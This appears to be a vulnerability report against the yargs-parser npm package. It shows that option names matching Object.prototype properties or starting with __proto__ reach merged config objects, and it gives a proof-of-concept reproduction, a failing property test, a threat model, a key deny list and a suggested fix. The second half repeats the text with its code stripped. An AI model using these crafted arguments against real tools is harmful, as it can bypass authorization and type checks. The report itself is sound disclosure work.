Description
yargs-parser stores option names that collide with Object.prototype properties (constructor, prototype, toString, valueOf, hasOwnProperty, etc., and any __proto__* with a suffix) as own properties on the returned argv object. When the caller subsequently merges argv into another object via Object.assign(target, argv) or {...target, ...argv} (a very common pattern), the attacker-controlled value overwrites those properties on target.
This re-opens the prototype-pollution class of vulnerability that was partially addressed in CVE-2020-7608. The 2020 fix only handled the bare key __proto__; it didn't sanitize the other dangerous keys or the __proto__<suffix> family.
Reproduction (yargs-parser, latest on npm)
const yp = require('yargs-parser');
// 1. constructor / prototype shadowing
const argv = yp(['--constructor', 'malicious']);
console.log(JSON.stringify(argv)); // { _: [], constructor: 'malicious' }
// 2. Realistic exploitation chain
const userConfig = { debug: false, role: 'guest' };
Object.assign(userConfig, argv);
console.log(userConfig.constructor); // 'malicious' — was the Object constructor
// 3. Bypassing the CVE-2020-7608 fix
const argv2 = yp(['--__proto__.polluted', 'yes']);
console.log(JSON.stringify(argv2));
// { _: [], "___proto___": { polluted: "yes" } } — renamed; OK
const argv3 = yp(['--__proto__foo', 'evil']);
console.log(JSON.stringify(argv3));
// { _: [], "__proto__foo": "evil" } — NOT renamed; attacker can collide with any prototype prop whose name is `__proto__<suffix>`
// 4. Other dangerous keys all pass through
for (const key of ['toString', 'valueOf', 'hasOwnProperty', 'propertyIsEnumerable',
'isPrototypeOf', '__defineGetter__', '__lookupGetter__']) {
const r = yp([`--${key}`, 'evil']);
console.log(`${key}:`, r[key]); // 'evil' for all
}
Property that fails
import fc from "fast-check";
import yp from "yargs-parser";
const DANGEROUS = ['constructor', 'prototype', 'toString', 'valueOf',
'hasOwnProperty', '__defineGetter__'];
fc.assert(fc.property(
fc.constantFrom(...DANGEROUS),
fc.string({minLength:1, maxLength:30}),
(key, val) => {
const argv = yp([`--${key}`, val]);
// Either yargs-parser refuses to use a dangerous key, or
// it doesn't break Object.assign into a clean object.
const target = {};
Object.assign(target, argv);
return target[key] === Object.prototype[key]; // unchanged
}
));
// Fails for every DANGEROUS key.
Threat model
The argv object returned by yargs-parser is treated by most callers as a plain config dictionary and is routinely merged into application defaults / config objects. An attacker who controls command-line args (CLI tools accepting flags from untrusted scripts, build steps that read env-driven args, web admin tools that forward query params to internal CLI calls, container orchestrators that pass user args to entrypoints) can:
- Overwrite the
constructor of any object obtained via Object.assign(...) from argv, breaking instanceOf checks and exception types downstream.
- Replace
toString / valueOf on merged-into objects, which trips JSON.stringify, template interpolation, and equality checks. Many of those happen in security-sensitive contexts (logging, auth checks, role comparisons).
- For applications that walk the merged object with patterns like
if (config.constructor === Object) { … }, this is an outright trust bypass.
CVE-2020-7608 was acknowledged as security-relevant for the exact same shape (with --__proto__.x) and was fixed in 18.x — the issue is that the fix's sanitization list was incomplete.
Suggested fix
In src/yargs-parser.ts setArg(), after computing the destination key, reject (or rename) keys that match any of:
- exact:
__proto__, constructor, prototype, hasOwnProperty, isPrototypeOf, propertyIsEnumerable, toString, valueOf, toLocaleString, __defineGetter__, __defineSetter__, __lookupGetter__, __lookupSetter__
- prefix:
^__proto__ (i.e. any key starting with __proto__)
The same sanitization should apply in the dot-notation expansion path (setKey), which sanitizeKey already does for bare __proto__ but no other entries.
Environment
- yargs-parser: latest (also reproduces in 21.1.1)
- Node: 20+
Description
yargs-parserstores option names that collide withObject.prototypeproperties (constructor,prototype,toString,valueOf,hasOwnProperty, etc., and any__proto__*with a suffix) as own properties on the returnedargvobject. When the caller subsequently mergesargvinto another object viaObject.assign(target, argv)or{...target, ...argv}(a very common pattern), the attacker-controlled value overwrites those properties ontarget.This re-opens the prototype-pollution class of vulnerability that was partially addressed in CVE-2020-7608. The 2020 fix only handled the bare key
__proto__; it didn't sanitize the other dangerous keys or the__proto__<suffix>family.Reproduction (yargs-parser, latest on npm)
Property that fails
Threat model
The
argvobject returned byyargs-parseris treated by most callers as a plain config dictionary and is routinely merged into application defaults / config objects. An attacker who controls command-line args (CLI tools accepting flags from untrusted scripts, build steps that read env-driven args, web admin tools that forward query params to internal CLI calls, container orchestrators that pass user args to entrypoints) can:constructorof any object obtained viaObject.assign(...)from argv, breaking instanceOf checks and exception types downstream.toString/valueOfon merged-into objects, which tripsJSON.stringify, template interpolation, and equality checks. Many of those happen in security-sensitive contexts (logging, auth checks, role comparisons).if (config.constructor === Object) { … }, this is an outright trust bypass.CVE-2020-7608 was acknowledged as security-relevant for the exact same shape (with
--__proto__.x) and was fixed in 18.x — the issue is that the fix's sanitization list was incomplete.Suggested fix
In
src/yargs-parser.tssetArg(), after computing the destination key, reject (or rename) keys that match any of:__proto__,constructor,prototype,hasOwnProperty,isPrototypeOf,propertyIsEnumerable,toString,valueOf,toLocaleString,__defineGetter__,__defineSetter__,__lookupGetter__,__lookupSetter__^__proto__(i.e. any key starting with__proto__)The same sanitization should apply in the dot-notation expansion path (
setKey), whichsanitizeKeyalready does for bare__proto__but no other entries.Environment